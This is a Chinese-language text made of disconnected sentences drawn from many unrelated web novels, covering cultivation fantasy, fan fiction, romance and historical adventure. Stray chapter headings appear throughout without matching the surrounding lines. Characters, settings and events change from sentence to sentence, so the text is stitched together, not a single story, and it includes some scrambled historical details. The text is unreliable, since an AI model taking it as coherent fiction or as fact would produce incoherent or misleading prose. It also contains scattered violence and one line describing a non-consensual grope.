军事部:由王越与王铭领军,王越主领三大队还有魔兽部队,而王铭,大家都知道,就是亡灵,负责对外的战事以及基地的守护工作。 “好!”王护法当然不会说什么反驳的话,他能做的也唯有答应了。 远处,战斗机里面的人惊恐,就在刚刚,那只大手拍下来的时候,他们感觉神魂都要破碎了。 而且就算这男子是自己家的仆人,为什么会称自己为二少爷?难不成自己的头上还有一位大少爷? 利用忍犬离开山林来到平地后,长门就将自己和玖辛奈的衣服分别绑在两只忍犬身上,然后命令让它们朝着其他方向奔跑,作为诱饵。 “这是我爸妈送给我的,我们平时都喜欢安静,所以就选择了这里。”走进屋子后,魏凡向柳欣欣说道。 黑绝努了努嘴,一名惨白的身影,主动走入了地面上的秽土转生大阵,其一半脸露着诡异的笑容,另一半脸则闭着眼睛。 感觉就好像是陈钺把棍子舞得眼花缭乱,正要一击打中这颜朴时。 晚饭后,叶星回照例来找林知秋,和她一起牵着奇诺去秋江河边溜达。晚风习习,两人走累了就坐到江边的椅子上休息。 在牺牲了数位消防员后,局势也得到了控制,损失降到了最低,而这一场火场救援也被世界消防员称之为奇迹。 我来告诉你,虽然你目前还在试用,但你的角色就是寻访员,责任是寻找人选、和她沟通,我的责任是对人选的筛选、推荐和对甲方的沟通。 代善还要作态坚持要派军出城和东江军决一死战,其他鞑兵将领也纷纷劝阻代善。 烛龙仿佛很久没说过话了,说话的声音异常缓慢,不过却也收起了自身的道韵。 “既然大人不愿意告诉你,想必是有他的道理,既然如此,那属下也不方便多说。”羽灵神将不敢忤逆那位大人的旨意。 利用个性重力,突然的袭击让周围的人给自己留出了一片空旷的视野,在加上一个另外的个性,火焰,让世界的斩击更为的广阔,争取一次将那些灵骨鸦消灭干净。 “林风,我说你蠢你还不相信,我们可是你的敌人,我们说的话你怎么能相信呢?”维特利再度哈哈笑了起来。 “老祖前辈可是半步轮回,他居然叫我打虎妹子,看来他是一个调皮的老顽童。”天真无邪的武晓舞如此想道。 况且,这生灵龙自己本身就是法则境的,跟着自己,倒是也有好处。毕竟自从知晓天道府有八尊天道后,他心中还是有些忌惮的。 片刻之后,奥古斯都终究是无法继续等待下去,他可不希望若雪手中的金色卷轴真正的释放。以金色卷轴的威力,完全可以轻易的将奥克斯帝国抹除,这是奥古斯都所不想看到的。 藏青色的紧身牛仔裤,将她的双腿勾勒得无比修长,贴身的毛衫,不但令她腰身完美,更将她衬托得隆臀挺翘。 因为良辰吉日还未到,大家就一边吃着下酒菜品着酒,一边欣赏着节目,等待着定亲仪式的到来。 叶飞再次被砸向地面,以他的身体为中心,那些花岗岩地面纷纷龟裂开来,生命值再次掉了一大截。 第29章 用森林做花园 “怎么回事?”欧阳克正自站立不稳,胸口挨了一掌,纵然程灵素并未用什么劲力,也是应手而倒,连手里的折扇也“啪”的一下落到地上。天旋地转地一阵晕眩,眼前的景物也跟着渐渐模糊起来。 夏风再坚持下去的话,就有些欲盖弥彰的意思了,他只好放开手,反正任凭李弘江调查出来什么,他都没有直接的证据指明这件事是夏风干的。 “唉,四皇子急躁了。和尚原之战,我军必败!”完颜娄室叹息道,眼神有些黯淡,说着不禁咳嗽了几声。 杨缺曾一刀斩杀了天魔宗三名灵动境弟子,被他们任长老追杀,最后落入阴魂谷悬崖,本以为他在劫难逃,已经死了,谁知道他这次又再次秒杀两名灵动境弟子,萧长老追了许久,竟给追丢了。 有的人有高度的洁癖,有的人对花香过敏。拥有名器的jǐng花李米米,还特么的对男人过敏。 终于能够动筷子了,那些家伙们却没敢先动手,而是看着纳兰烟雨,似乎是在等着她说些什么。 “你去上课吧,记住我和你说的话。”挥了挥手,郝主任让秦远回教室。 sāo年秦远再次把无影脚的速度,运用到极致,瞬间就到了紫衣的身前。 甄若彤挥手拦了一辆的士,报出了目的地……将军县最好最贵的酒店。 “我?抱歉,我还真没想好,不如就叫位面冒险者吧。”林一峰看着查尔斯耸了耸肩膀说道。 今晚上的发生的事情,让眉姐觉得云里雾花看不清楚,这到底是哪跟哪了? 他们,惊恐骇然下,无力逃走,而缴械投降。归于他的统领。而他,则带着他的妻子,回到本国。 “是是是,你又想故技重施了是不是,指望着赢这一场,后面就能以逸待劳了是不是?”就像之前对战王婧伦,只一场,便骇的她们全部认输。 这些被圈在结界之内自成一地的各种异境,所遇之物虽然恐怖瘆人,甚至是令人恶心,但却大多谈不上有什么巨大危险,至少对于金丹修士而言。 不过,为了要验血,这也是没办法的,我一定会这样做,如果再来一次的话。 孙世林苦笑一声,他拿了手机给吕飞打了个电话,他知道吕飞和范水青现在这个时候正在等消息,打了电话之后没有多长时间,吕飞和范水青就到了,事情的经过说了一遍。 王天把吕飞的事情说了出来,柳凌霜这下才明白是怎么一回事,这倒是她没有想到的事情,不过其实想想不奇怪,吕飞的地位极高,王天作为学生,这肯定会水涨船高。 我见他们很是有勇气冲过来来,依旧是笑了笑。冷笑之极又往前挪了一步,手上双手同时出动。 “岳父,别客气了!咱们私下里,你还是叫我墨羽飞吧!这样我觉得更放松。”墨羽飞笑着道。 慕容昭云听了却是有些不悦:“难道马公子就要这样与本宫客气吗?如此,与那些阿谀奉承之人有何不同? “我是那种人吗?”沒好气的看她一眼,转了身,朝着二楼的方向走去,不知道为什么,上楼梯的时候,他的脚步格外沉重,如果可以选择,他宁愿不去出那七八天的差,也要去陪她看心仪的电影。 “王朝阳绝非像他表现出来的那抹轻松!”方辰心神一震,磅礴的神识之力,让他能够清晰的感受到之前王朝阳微笑的脸庞上,那一闪而逝的苍白之色。 在来帝都之前,她甚至幻想过自己出现在肖白的面前他是一种怎样的欣喜,会不会拉着自己马上就去结婚登记处结婚。可是这一切,都是她以为而已。 “那是,姑奶奶我宰相肚里能撑船!”朝露丢过去一记白眼,持之以恒地拍着殊墨的肩膀,有些后悔自己刚才对他说了重话,谁也不知道会发生那种事情不是吗? 冷心雨这么一说,大家还真感觉有些累了,明天还要继续上课,可不能迟到了,不然会扣学分的。 这就是生活的更好?好的把自己弄到了酒吧里面来,还醉成了这个样子。 “喂,到了,别睡了”夏雨蓉推了推睡得正熟的叶冥,“真没见过你这种人,被抓到警局了还有心思睡觉。”几名警察押着叶冥来到了警局。 蓝轩俊朗的脸上带着一丝冷意,谁都别想伤害他的家人。蓝影一动,便见他已经来到带头人眼前,剑起剑落,便只剩下他惊愕的双眼瞪着蓝轩,不甘道:“说好了都没有武功的。”手指着蓝轩,最终还是不甘的倒下。 第30章 这系统不太正经啊 中院的战斗也进行的十分激烈,近乎三千多苍狼国的各种士兵兵种,刺客,杀手,斥候,也是眼见死亡不可避免,于是更加的奋力反抗。 出游,但心中又惦记仍在闭关的习黎,只得继续留在宗门内修行。 清虚剑道中的灵力化剑之法,其实严格来说算不上是扶脉境的神通,只是对灵力要求十分苛刻而已,引气弟子用不出来,是因为灵力不够精纯,而不是境界不到,这安庆余想必是不明白这一点。 他终于可以喘口气,看着手机短信,竟然到账了,看着卡里足足260万,心中乐开了花。 祁力被左丘子活生生坑了二千灵石,气得咬牙切齿,恶狠狠说道:“大管家好手段!”说完,带着两名手下气冲冲离席而去,大管家哈哈大笑跟着随后离开。 背后浮现一尊巨魔,巨魔的影子越来越大,最后插入云霄,所有人惊呆了。 且他还是脑袋先着地,而身体砸落的位置上,甚至有一道道狰狞的裂痕以惊人的速度向四周蔓延,当场龟裂。 这一刀猛地斩出,整个天地都为之失色,无数的罡风向着四周飘飞,他身上气势越来越甚。 “柳伯伯!”柳长山正感慨的不能自拔,突然听到左君的声音立马清醒了过来。 整个蝶花主力队都有一股虐待的性情,或者说藤原三笑在训练这个主力队伍的时候就是营造这样的氛围。 没有人送饭,没有人来巡视,铃铛着实不知道自己呆了多久,那盏油灯始终没有灭过。 陈长老说完就走向一旁的药田,蹲下身,仔细的抚摸着一株药草,犹如绝世珍宝一般。 虽然他现在很想把这个暴露自己位置的家伙给杀了,但是他也知道,目前为止,任务是最重要的。 赵瑞看着John和秦明一个两个的都点了那么养生的茶,他也把菜单直接翻到养生系列看了起来。 楚翘再一次被震惊,就算齐浩的猜测属实,那也是四年前发生在大洋彼岸的蓄谋撞车事件,齐浩怎么可能在刚见柳生就有了证据? 啪,虎子猛地给了自己一巴掌,垂头丧气地歪到了一边,自己就是管不住嘴,说着说着就到了痛处。 躲在那里一动不动,看着那怪物将手上的两具尸体吃了个干净,让后又走回去将吃剩了一半的笑笑尸体捡起来也吃了进去,然后才慢吞吞的离去。 陈林知道,自己能做的都做了,就等这通电话之后最终价格出来。 “只希望他们别太过份了,若是逼急了,大不了鱼死网破。”楚老抬头望向外面,目光坚定不移。 “居然这酒还有这么多曲中曲折之事!”独远闻言却也是把剩下的半坛在不知不觉之中饮毕。 他死都不会想到,堂堂一个省长,会来到这里。这还不够,关键是自己刚才嚣张跋扈的姿态,肯定也被他看在眼里了。 在死亡的威胁之下,他已经顾不得尊严了,只要能够活命,让什么都可以做。 这个杀手少年实在太神秘,让他参加第二关,谁知道还会惹出多少麻烦? 其实不管是在学校里面,还是在外面的社会,凑热闹的人永远不会少。尤其是像打架这种事情,更是让人津津乐道的事情,很容易成为茶余饭后的谈资。 现在北美很多喜欢成始源的粉丝都在说成始源饰演的亚瑟媲美皮尔斯·布鲁斯南饰演的007。 塞维利亚大教堂在这几个方面不可谓不壮观,可是它真正让人着迷的却是称为希拉达塔的钟楼。 “哼!蝼蚁一样的东西,也不看看自己有几斤几两,就敢来招惹我,真是活得不耐烦了,还不赶紧给我们跪下来叩头认错。”周烈体内有一股恐怖的气息涌动而出,朝萧羿笼罩而去。 纳克索斯的在任行政长官是斯特隆波里,这位作风强硬却又传统保守的阿门多拉腊元老岂会屈从于当地议员的压力,更何况加拉德摩斯还是阿门多拉腊人。 偌大的苍族营地之中,尸体几乎堆满了整个地面,鲜血浸透了下方的沙石,戈壁变成一片血色。 “太好了,吴迪没事,那个鬼将的气息也消失不见了,它难不成已经退回了另一个秘境?”宫殿门口,金萝紧绷的精神,终于放松了开来,喜极而泣地道。 现在人家因为的确有事无法前来,还专门让自己的姐姐跑一趟……看对方一个姑娘家家的,弄了这么多东西,再背回去总归不太好。 整个武林盟之中,很多人都可以得罪,但唯独这个九千岁不能得罪。 特攻队挑选成员都是最精锐的氐族战士,由他们拖住皇宫内仅存的护龙死卫,铭天四人,再加上安落,一共五人,围攻潘玉奴。 说阿欢机灵还真是不假,就是她不爱主动邀功,非要王弗苓戳一下动一下。 至于古锋……他更是不排斥自己的邪恶,任由这份暴戾残忍成长,邪恶与善良早就没有了界限,哪来让欲望膨胀这一说?? “他不是死了吗?还能说话?”大象很纳闷,刘危安这一刀,虽然没有惊天动地的声势,可是杀伤力却是霸道无比,刀意早已经侵袭了不死老仙的全身,一刀就让他神魂俱灭。 说着说着,他们已经到了宫门前,两人要去往不同的方向,故而辞别。 胜关中骁果大军,但是如果严阵以待的话,也足以颉颃一夜。这一夜之间,不知会出现多少变数,容不得人大意。 她回来了。不过看着安阳没精打采补眠的样子,心疼的不要不要的。 沈世谦进来之后见“韩骊君”果然躺在榻上,便盛了一碗糖水准备过去。 等等,我在嫉妒个什么劲,仅仅是一只玩偶而已,对它就是一只玩偶,就算不是玩偶也是只凤凰。 可是昨晚的一切,又让他变得惶恐起来,若是曾经的自己是个杀人狂魔,浑身罪孽的人,自己恢复了记忆之后又要再次变成那样的人吗?他没有把握让自己得到记忆之后还能保持现在的心态,所以他很痛苦。 第31章 人工培育松露 徐剑星为此收揽进入了空间之中,罗天上仙级的仙人4人,大罗金仙级的11人,仙君级档次的人物位后,事情终于起了变化。 这一战总共收获了近一万五千点的经验值,以及数十件蓝白交间的职业者装备,遗憾的是没有暗金装备。 徐庶默默的擦着额头上的汗水,一边看着卫队们在进行警戒搜索,认真的记下这些战斗中的细节。 “呵呵。”徐剑星听着如此的话,有点忍不住的笑了起来。也找到了一份属于他和陈皓雪以前的那种温馨和甜蜜。 “哈哈!”众人幻想一下那番的场景,皆是忍不住的哈哈大笑了起来。 确认的同时,凌云心里也瞬间产生了强大的紧迫感,以及,多出来的一丝争雄之心。 一个伪世界级,即便动用超能本源,能逃脱他们的锁定,也掩盖不了空间波动。 念头飞转而过,徐剑星的心里还有着一些忐忑不安,他心里很清楚要是他不能直接够买东西的话,只能想办法跑任务挣钱了。可是相对来说,收获也不知道会低上多少倍。 “恩,是要用到翡翠,而且越多越好,品质方面也要差不多的。”徐剑星一脸正色的说道。 “你知道你在跟谁说话吗?你知道夫人是谁吗?”保镖首领冷冷问道。 “前辈可是笑祖?”班超站在众兵之中,不但没有流露出一丝胆怯,反而执剑相问。 他这才发现,原来自己真正喜欢的,是郑亦菲这一款,可现在这叶扬,才是郑亦菲的未婚夫。 宁颖脑海里闪过一个荒唐的念头,之前叶扬曾经开玩笑说,既然她任命了叶扬为保镖队长,那叶扬就任命她为龙国商会金陵代言人。 达克赛德在战场上遭遇了地球的守卫者,古老的神明,人类,潜入海底之前的亚特兰蒂斯族,遭受背叛与奴役之前的亚马逊族,以及来自星际的守护者们。 起码在这个年代的美国的父母还没有后世那么离谱,打着自由的旗号,为所欲为。 “孩子跟着他们,比跟着你好,人家孩子大了,全家都可以照顾她。你没孩子,以后有了,对孩子能有现在上心吗?孩子察觉到你的态度变化,心里多不好受?”秦母动之以情,晓之以理。 他手下的仆弟,审讯工作是一流,只要交给仆弟,这人即便是再嘴硬,都得开口。 沈族长点头,水生是族中唯一的一个孤儿,如今年岁又不大,他们族人也不能一直照拂,所以为水生找一份靠谱的活比较好。 老鬼大手托住我屁股,语气彻底软了下来,“我没有跑,只是去处理了点事情。 此刻顾怀已接近崩溃边缘,千尘已是气竭上了岸,正跪拜在他的身前。 刘表看着心中欢喜,让正有些反应不过來的蔡夫人收下,还当场夸赞了刘琦几句。刘琦心中欢喜,又感激的看了刘备一眼,这才谢恩离去。 李飞儿没有跳舞,只是翩然在台上走了几步,宛如凌波仙子,罗袜生尘,漫步云端仙乐为之无声、百花为之无色。腰肢妖娆,身材窈窕。台下的呼声一浪高过一浪,短短的一盏茶的展示时间,众人还觉得不过瘾。 虽然有点不明白金软软为何要送自己一个苹果,见也不是什么贵重的东西,符洛最终还是收了下来,并说了一声谢谢。 梁志婷让步凡这两句赞美的话给羞的有些脸红,只顾低头把玩着那个玉坠。 毕竟他加入变形金刚给威震天配音的事情,一直都有被拿来当做是宣传点,想想未来的变4就知道,因为强塞进一点中国元素,就让变4的票房直接爆炸了,只差一点就能破掉2o亿。 可是他并不是多特蒙德第一点球手,多特蒙德的第一点球手是莱万多夫斯基,甚至此刻莱万多夫斯基已经拿起了皮球。 二百年前,十大门派的元气大伤,所以并不太在意这些,可经过这么多年的休养生息,如今已经是不能满足于那区区六省之地了。 电影中男主角那种困惑、迷茫、无奈的情绪透过音乐的渲染,使之变得越发的真挚且为人共鸣,光影与音乐的完美缔结,使得电影在最终的结局处很是触人心房。 父子生离死别之后再度重逢,别有一番苦涩滋味,二人皆忍不住心中感慨相拥而泣。 B团的坐标入口大体确定了下来——ABT总部区域,克里斯托佛蛮间府邸,后花园的池子。 “有意思吗?两副身体来回交换,你也不累?”华月带着些许的讽刺直接开口道。 里面有着两块‘玉’简,分别是一部功法和一部关于如何炼器的功法,炼器‘玉’简里有风清河的心得。可以说这部炼器‘玉’简如果拿到大陆任何的一个地方,绝对将掀起一阵腥风血雨。 魔域,在大陆北方,处于黑海之中,是一处禁地。寻常武者无法进入,一旦进入,就会被这里的魔气侵入,从而走火入魔,变成行尸走‘肉’,相互厮杀,甚至自爆而死,没有任何生还的余地。 时间还早,王动在自己的办公室里休息了一阵,就重新走了出来,自己刚刚当上这个助理的职务,也不好总是在偷懒,而且这个时间也是会所里最热闹的时候,真的想要查到什么的话,现在才是最合适的机会。 第32章 民风质朴的普罗旺斯人 云剑晨真的没有骗他们,想闯魂灯塔,还真的急不来,必须徐徐渐进才是。 “我帮你打听了,傅远东也说施乐只是林靖深的表姐,说不定真是你误会了呢?”岑溪道。 刘有礼转过头,看着身旁一脸平静的原良,仿佛与他记忆中的原良有些不同,于是他问道:“阿良!你?真的完全好了?”语气中透着一丝不可置信。 “你!”苏紫宸这时候是看出来了,玄雾道人绝对是借题发挥,想找点平衡了。 云剑晨迈步走向射洲峰,仅仅向前靠近十丈,就感受到从射洲峰所散发出的那种恐怖压制之力。 萧寒煜带来的人,已经明显占了上峰,支布罗和答嗒儿已经搀扶着巴特尔向后撤退。 随着时间的流逝,宋剑宛如一尊石雕,盘膝坐在了空中,一动不动。 想恶心一下段伟祺,让他吃醋?这也太没脑子了,比让她猜测他洗钱还弱智。 井上织姬的治疗不是常规意义上的治疗,确切的讲,应该叫‘还原’才对!双天归盾是通过‘拒绝不属于事物本身存在的东西,将事物还原成它本来的样子’的一种能力。 这还是爆米花的锅铸得厚,不易炸开,高压锅如果堵死,可是会炸锅的。他前世有网的时代,在网上随便一搜“高压锅爆炸”,就能搜到各种锅盖和锅里煮的吃食嵌在天花板上的惨烈图片。 至于焱阳和姜云卿的关系更是极为亲密,否则他在血武之界里,被那血灵网帮助之下破除了封印,恢复了曾经身为血灵的记忆之后。 正好,他也有些想念,她嘴里甘甜的味道,和蜂蜜融化在口腔中一样。 没等中村局长把话说完,武越不知从哪摸出几张照片,甩在他的办公桌上。看到照片里一个个被斩杀的喰种,中村局长像是被人掐住了脖子,差点憋出内伤。 用过的蜡板扔水里煮一煮,把融掉的蜡刮下来融成一团,转天还能再用,又省力又省钱。 姜老夫人一时也有些拿不准,姜云卿到底知不知道李云姝身份,更不清楚姜云卿这些话,到底是因为李云姝陷害她,还是因为知道了什么。 东南省由敬怀北来掌控,黄海由自己来常控,这样一来,无论对谁都是一个好事。 在场的人:你一个年年淘汰的家族,这一次得了第一第二还不知足? 但是,那神绝武却丝毫都没有动作,任由玄河再次不断出枪击杀。 “为了不引起不必要的麻烦,我看我们还是离丹城远一点再动手。”佘阳向血玉鹏与龙奎两人建议道。 他双眼紧闭,双手在空中缓缓划动,看似缓慢却带起一道道虚影,就这样,他一遍又一遍地演练着封镇式起手动作,直到他足足演练了上万遍以后,终极将这起手式练得纯熟了。 空间异能者果真可怕,特异的能力是与生俱来的,加之凌晓霜还兼修古武,对于她对面的黑衣中年人来说,她绝对是一名恐怖的敌手。 这个时候竞技场中并无比赛,但半兽人听到有私下的决斗,都是闻风而来,将平静的竞技场闹腾得人声鼎沸。 仙气茫茫,神辉点点,在身后的大殿石壁上有神华流动,荡出神圣的气息与道韵,他们转身望去,看到无数的字篆在石壁上隐现,玄奥莫测,每一个都蕴含道,有无上的伟力。 然后林胜就是再度回到了自己的院子之内,刚刚才是坐下就是见到黑风满头大汗的跑了过来。这才多久,这家伙居然就是已经到了,显然是一得到消息就是立马跑过来的。 这次万兽森林似乎是铁了心要攻下佣兵之城,居然派出四百九级奇兽,两千八级奇兽,而且还是虎王亲自领队,在佣兵之城与人类大战了两天两夜,直接将佣兵之城都给毁了。 死气不同于杀气,身上带有死气之人,已经不能称之为人,而是一具毫无感情的杀戮机器。这种人,为了达到目的,却是不惜杀亲杀友甚至杀己。这类人是世上最可怖的敌人,最可怖的杀手。 足以刺穿人耳膜的爆炸声过后,金光四溅,尘土飞扬,鲜血似雨滴一般在空中飞舞,残肢如冰雹一样掉落到地面上。 郭喜安背着一背篓的草莓,程家博则是背上背着一背篓,手里还提着半背篓。 郑武的武功非常高强,独孤星辰虽然比郑武早练习武艺多年,但仍然处于绝对的弱势。 杜子潜和虎哥一起回到了万兴堂,经过一番搜寻和审问,他们终于将万兴堂的其他人全部抓获。 见他越说越下流,姜明心伸手进衣兜,抓起几根铁钉就朝他扔了过去。 在透明的电梯里面,陆泽一览整个城市的繁华,灯红酒绿,恍如只是平常的世界罢了,而陆泽稍微低头,就看到了那趴在他横刀上的妖将。 王墨这时候看着他,心中也是十分的可笑,没成想,这在后世这么多男人朝思暮想的梦想在这里竟然是你不得不去做的事情,这何尝也不是一种烦恼呢? 不知道是不是季君皎的错觉,每次与那双鹿眼对视时,季君皎都有种被看穿的错觉。 目光转而投向陆泽,只见后者依旧是双目紧闭,面色稍白,脸上的汗渍更多,而双手已经几乎被雷霆侵蚀,皮肉焦黑,深可见骨。 “原来如此。既然如此,我决定,咱们就在赤水寨附近建立新的盐场!”这句话一出口,顿时引起轩然大波。 第33章 春游 卫勇娥也不好让对面干叫,她在这里不出去,一翻手里的六轮点钢枪,催千里雪到了阵前。 “你对你的父亲没有任何的感情吗,那毕竟是你的生父!”人非草木,孰能无情,谁然她的父亲是人渣,但是血浓于水的亲情还是难以抹杀的。 “我想,人都走了,我们也该坐下来好好谈谈大家都关心的问题了吧?”尼尼西布揉了揉自己的腰,刚刚一直弯腰做着让他感觉有点酸麻。 别管这帮家伙骨子是什么人,在这种长辈满座的场合,却全都装的跟绅士似的,就算让他们演,他们也演不出苏驰的那种猥琐。 安静的训练室忽然传来了一个怒砸键盘的声音,接着,是一个椅子拉地的刺啦声。 杨家七郎八虎八条枪,少了大爷杨延平的屈卢浑金枪,四爷杨延辉的菊花点金枪和七郎杨延嗣的虎头乌金枪。 过了没多久,清雪阳一组的人全部都到齐了,林峰冲着他们点了点头道。 王开自然将此一幕收入了眼底,也很清楚杨威的心情,但不得不说,此人倒是值得敬佩,有这般斗志,何愁不强? 唯恐王开立下什么卑鄙的规矩,届时再真的输给了他,岂不是自己将自己往火坑里面推? 侧耳听了一下时,在这里打麻将的人较多,四周都是搓麻将的声音。 胡博的车队刚刚到了行政大院,就有人知道了,几个住在那里的院长副院长都知道,胡博是王楷德的外甥,院里面人都知道,只不过,谁也没有说破。 以几人的脚力,几乎是几步迈出,便走到了路径的尽头。出了路径,再一看,已然是一片全新的星域。 秦婉如和秦妍如重重撞到马车后车背上,幸好这辆马车是姑娘们出行专用的,注重舒适,所以车厢里面四周车壁上,都订着帷垫,车背处有厚垫子。 华公社双眸一瞬不瞬地看着他们,心底暗斥他们卑鄙。然后瞠目结舌地看着挡在他身前的曹天娇,真是个傻瓜,撑到有人来救他们就好了,这样把自己陷进来,以他们无耻的程度,指不定又打什么鬼主意? 叶辅国带着朝臣们跪下行礼,楚昭恒说了免礼后,安国公抢先几步走到了楚昭恒身边。 并且希巴提到了巨大大岩蛇的情报,希望去收复那最大的一只,那么时间轴上来看,智爷还没有完成徽章的收集,所以三成很可能在石英大会上遇到智爷。 当然,这些赌博规模比起葡城这种公开的合法生意是没得比,但总比出境要方便得多,是一些喜欢赌博的本地有钱人聚集的地方。 颜宁匆匆忙忙到宫门前,求见颜皇后,此时,还有半个多时辰,宫门就要落匙了。 唐贝贝挑了每样挑了两个放在收银台上,原本低头的男人,立刻打量起唐贝贝,因为是自下往上看,唐贝贝的容颜清清楚楚的落在他的眼里。 不过……尤里乌斯突然回头,看着一脸不可置信表情的尤里乌斯,心中暗叫不妙。竟然忘了这个家伙一直在这里。而且……他怎么了? 段天才坐下来和月儿谈判起来,同是他心中也有一个疑惑没有解开,自己是通过逆天诀的功法才达到了这个层次,而巫族又是靠的什么呢? 想着,她便往四周看了看,蹑手蹑脚地缩到了一块岸边巨礁后,松了口气,一头栽倒下去。 赵匡胤面带微笑,说道:“尔等是我黄巾军之中最为精锐的战士,张天师被官兵斩杀,我等必须要为张天师复仇,今日,尔等二十万大军,黄巾军之中精锐,拿下洛阳城,擒拿汉灵帝。”说到最后,赵匡胤自己也是大声喝道。 明明做这个软件的是他们,可是,让这个软件为众人所知的,却是许墨。 “没事,先不说这些了,你好不容易回来一趟,总不能跟我在这傻坐着吧?走,太白哥带你去吃大餐!”张太白暂时抛开杂念。 “这也正是我这次召开临时会议的原因,我不是已经说了吗,他抓走了X教授……”张太白有些无奈的说。 月影已经坐下来了,雷霆和炙日也老实不客气的坐了下来,他们两人完全没有陪衬的意识,早已经甩开膀子大干起来。 逆煞拿着干毛巾的手垂了下去,他猜到她是为了休战的事来找他的,却没想到她如此干脆地切入正题,一点温存的时间都不给。 尤其是在与红坦克交手过后,他对自己的实力水准有了更清晰的了解后,就更加无所谓了。 我跟在江辞云身后,谁知他突然就停了下来。我的脸一下就撞在他紧实的后背上,讲真,还挺疼的。 千手佛怒吼一声,然后身子化成一道黑影,“嗖”的一声,直接扑了出来。 叶子浩双手作揖的,他知道依自己如今的实力,是根本无法跟慈云大师过招的。 第34章 梅纳村初体验 “没问题。”陈军一口答应了下来,他现在是在气头上,也不想想自己已经压根没有一毛钱赌了。 窗户是关着的,城市里明亮的灯光,照进屋子里,如梦似幻,见床上的人儿睡得沉了,他动了动身子,手却忽然给人抓住。 她流落街头的时候遇到了现在的院长妈妈,是院长妈妈将她带回了这里,她便一直在这里长到了十岁,直到颜父找到她。这里的条件虽然也不是很好,但是于她而言却是一个温暖的家。 血发青年一身浓郁的血腥气味让人很不舒服,那如血色水晶般的眸子中隐藏着狂暴的嗜血杀意。不知道杀戮了多少生灵,才有这种浓郁的血气和杀意。 离开镇国公府,端木幽凝一路往湛王府而去。原本想等与东陵临风解除婚约之后再来找东陵孤云,但如今看来此事只怕一时半刻解决不了,只得同时进行。 萧轻尘奇道“噢?你可知他姓名?“,竟凭着一声就震退了南茂车和那名国子监的青年,萧轻尘自问自己现在能够做到,以前却是不然。 元清旦把瓶子里的“醒缘丹”倒在手上,看着手里的绿色丹药问道。 “倩倩也是为了你的身体着想,你就别嫌她烦了,等有机会,我给倩倩提一提,偶尔抽抽烟还是可以,别把你管得太紧咯。”莫震天破天荒地说了这么一句话。 “第一次就成功炼出锻体丹?你确定?”元振天身体一震,不可置信的问道。 老高是生意伙伴外加亲密搭档。他说有事肯定假不了。服用战血药剂失败,只能怪自己运气不好。日子还要过,因此不能把情绪带到工作上来。 “巨大野兽们抗不住了,大家都魔法好厉害,这么多巨大野兽也能击退。”稚嫩死灵法师。 一个修长瘦弱的湖蓝色身影便扑进了她的怀中。素素猝不及防,被撞得后退两步,跌坐在了床上。她正想一巴掌将这不明生物拍飞。便听到那人低低的带着欢欣的声音。 这两颗丹药,光泽闪耀,如同美玉,像是两颗夜明珠一般,毫无疑问,这两颗丹药,在品阶上比那三千多颗丹药更加高级。 素素被许仙推到湖岸上,素素全身衣裳湿漉漉的,行动有些困难,只好牺牲形象手脚并用地往上爬。许仙尾随而上。 这是她第一次杀人……原本早就给自己做了许多心理建设,告诉自己在这种妖孽横行的时代,不是杀人,便是被杀。若是不想死,便得学会反抗,夺人性命,换己活路。 可是如今,他妥协了,那么,让她退步,也就不是那么难的事情。 飞行靴是苏如梦的宝贝,是她父母留下的东西,叶子知道飞行靴对苏如梦很重要,但是这个时候他是真的不知道应该怎么安慰苏如梦。 “呼……”杰德四世长长地舒了一口气,左右看了几眼,表情又凝重起来。 “呸!别忘了你现在还是我的保镖呢,我现在让你干什么就还得干什么!”慕容墨情说道。 可遗憾的是并没能凑效,而现在她打出第三张王牌是飞翼特工队。 飞到空中,银风便从刘枫的体内飞出,化成千米长的实质剑光,架着刘枫朝英国飞去。刚出了罗马,到达海边,刘枫却看到教皇带着一干教廷人员,正等在那里。 互相客套了几句,对方继续进行训练。在江明宏来之前,他们正在进行一场技艺较量,以提高格斗水平。 刚想过去推门,门就被人从里面拉开了,一个比天顺还高还壮实的黑大个站在了门口。 杨炎神清气爽带着林姹紫和林千红姊妹两人从浴室中出来,这时流苏和严蕊早己将晚饭预备好了,看着两位夫人一脸诡异的笑容看着自己,尚还是未经人事的两姐妹终于忍不住羞溉,借口去给杨炎洗衣服,逃跑似得溜掉了。 一口葱辣得他一头扎进了旁边的一堆白菜,连人带白菜滚了一厨房。 扶她起来的时候,我偷偷捏了一把她的胸脯,从此心里就惦记上了那团松软。 有些犯困,刚要告别蒯斌回家睡觉,大哥大就响了,是大光的,问我在哪里? 我知道她是什么意思,不就是想说咱的底子黑吗?拗劲一上来,我索性跟着她去了。 我把碰到王老八的事儿对王东说了,王东说,他那是想他儿子了,他现在连肉都得花钱买了。 听他这样说蒋丽觉得还真是这么一回事,如果自己穿这样的衣服都能将那些人给比下去那穿别的衣服岂不是无可挑剔了? 一向为戴梦微说话的范恒,或许是因为白日里的情绪爆发,这一次倒是没有接话。 见到死胖子这样说,陈龙庭立刻摇头,直说我可没有!然后轻抚菊花笑不语,只是一人偷着乐。 第二天,二老准备启程去落雁峡,张显送了两位十几坛好酒,二老唯一遗憾是,怕是有段时间不能品到张显亲自煮的茶了。 秦沐遇刺病倒,行宫内的高手损失殆尽,武岳候没办法,把准备在彰武台上扬威的秦家人和一些将军们招来暂时保护秦沐。 空间也很狭窄,是一间三人的上中下铺结构。除了床铺,只有一个洗手间。 二月初九凌晨,周佩披着衣服起来,洗漱过后坐上马车,穿过了城池。 或许是夏兰刚才神秘的偷袭招数留给了他十足的威胁,所以进一步完善提高自身安危的戒备也成为了他首要的选择。 可以说,现如今中国航空技术人员正在研究的某些看似“前沿”的航空技术,大部分都是美国人早已玩剩的东西,如此这般,人家美国人不来挑你的错就谢天谢地了,自己又有什么脸面和能力去找人家的错处呢? 第35章 普罗旺斯遍地美食家【求追读!】 “你想用激将法么?”楚涛抬眼望着这血气方刚的年轻人,微笑。 所以李彦想要见到保罗,那首先就要给保罗找到一个导师看着,不然保罗可不敢自己独自来到门口的。 想到夏雪晴,叶承轩不禁怀疑,莫非是夏海桐把一切都向夏雪晴坦白了,这一切是这两姐妹密谋已经的把戏? 巴特森有些不敢相信地看了看自己的双手,试着运行场能,一片红霞滚涌而出,包裹了周围的一切。 叶承志把里面的衣服都拿了出来,回头看着一脸大窘的夏海桐,眼里有些疑惑。 顺利捕杀一只六级魔兽并沒有让联军成员得意忘形,他们在经过了短暂的调整之后,便再次踏上征程,向下一个目标走去。 初雪手握苍凌法杖,骑着火麒麟,速度敏捷地躲过了妖魄之树一次又一次的藤鞭缠绕攻击。 